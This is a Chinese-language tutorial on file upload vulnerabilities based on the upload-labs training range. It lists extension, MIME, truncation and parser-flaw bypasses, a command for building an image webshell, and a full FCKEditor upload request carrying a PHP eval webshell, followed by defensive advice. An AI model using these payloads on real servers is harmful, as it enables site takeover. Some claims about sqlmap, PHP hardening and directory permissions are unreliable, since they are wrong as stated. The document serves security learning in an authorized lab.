一、基础概念与危害
1. 定义
服务器未对上传文件进行严格验证/过滤,导致攻击者上传恶意文件(如WebShell),进而控制网站或服务器。
2. 危害
- 代码执行(直接上传PHP/ASP木马)
- 数据泄露(上传包含敏感信息的文件)
- 服务器入侵(通过WebShell执行系统命令)
二、核心绕过技术
1. 客户端验证绕过
JS验证绕过(Pass-01)
- 原理:直接修改前端JS校验逻辑,绕过文件类型检查。
- 操作:使用浏览器开发者工具删除或注释JS校验代码。
2. 服务端验证绕过
MIME类型绕过(Pass-02)
- 修改`Content-Type`字段(如将`image/png`改为`application/octet-stream`)。
黑名单绕过
文件扩展名绕过
- 利用黑名单未覆盖的扩展名(如`.phtml`、`.htaccess`)。
- 示例:上传`.php3`文件(需服务器支持解析)。
特殊字符绕过
- 空格绕过(Pass-06):文件名后加空格(如`shell.php `)。
- 点绕过(Pass-07/08):添加额外`.`(如`shell.php.`)或`::$DATA`(Windows特性)。
大小写绕过(Pass-05)
- 利用服务器对大小写不敏感的特性(如`ShEll.Php`)。
0x00截断(Pass-11/12)
- 原理:利用C语言字符串以`0x00`结尾的特性,截断文件名。
- Payload:`filename="shell.php%00.jpg"`(`%00`为URL编码的`0x00`)。
图片木马(Pass-13/14/15)
- 生成方法:`copy 1.jpg/b + shell.php/a webshell.jpg`
- 利用条件:服务器仅验证文件头(如`GIF89a`),实际执行PHP代码。
解析漏洞(Pass-18/19)
- Apache解析漏洞:利用多后缀解析(如`shell.php.rar`)。
- IIS解析漏洞:`.asp;1.jpg`被解析为ASP文件。
- Nginx解析漏洞:`shell.jpg/1.php`触发PHP解析。
三、实战案例与工具
1. Pass-03(黑名单验证)
- 利用Apache对`.phtml`的解析能力,上传`.phtml`文件。
2. Pass-10(PPHPHP绕过)
- 利用`str_ireplace`函数不区分大小写的特性,绕过黑名单(如`pphp`绕过`php`)。
3. Pass-16(二次渲染绕过)
- 使用GIF89a头部保留恶意代码,上传后通过文件包含漏洞执行。
4. 编辑器漏洞(FCKEditor)
- 构造恶意请求上传木马:
bash
POST /fckeditor/editor/filemanager/connectors/php/connector.php HTTP/1.1
Content-Type: multipart/form-data; boundary=...
--boundary
Content-Disposition: form-data; name="NewFile"; filename="shell.php"
Content-Type: image/jpeg
GIF89a<?php eval($_POSTcmd);?>
--boundary--
四、防御策略
1. 输入验证
- 白名单校验文件扩展名(如仅允许`.jpg`、`.png`)。
- 使用`getimagesize()`验证图片头信息。
2. 文件重命名
- 上传后重命名文件,避免保留原始文件名。
3. 目录权限控制
- 上传目录设置为不可执行脚本(如Linux `chmod 755`)。
4. 环境加固
- 禁用危险函数(如`eval()`、`system()`)。
- 升级PHP至安全版本(如禁用`magic_quotes_gpc`)。
五、工具与环境
1. 靶场搭建
- 使用`upload-labs`靶场(推荐PHP 5.2.17环境)。
- Docker环境部署(如Vulhub集成漏洞环境)。
2. 辅助工具
- Burp Suite:拦截并修改HTTP请求。
- sqlmap:检测文件包含漏洞。
- HackBar:手动构造恶意请求。
六、典型漏洞复现
1. IIS6解析漏洞
- 创建`test.asp;.jpg`文件,访问时被解析为ASP。
2. Apache换行解析漏洞(CVE-2017-15715)
- 在文件名中插入`\x0A`(如`shell.php%0a`),绕过检测。
七、总结
文件上传漏洞的本质是服务端校验不足,需结合输入过滤、输出编码和权限控制综合防御。实战中需关注协议特性(如HTTP头注入)、服务器解析逻辑差异(如IIS/Apache/Nginx行为不一致)及编码绕过技巧(如%00截断、双重编码)。
注:具体操作需在合法授权的实验环境中进行,切勿非法测试。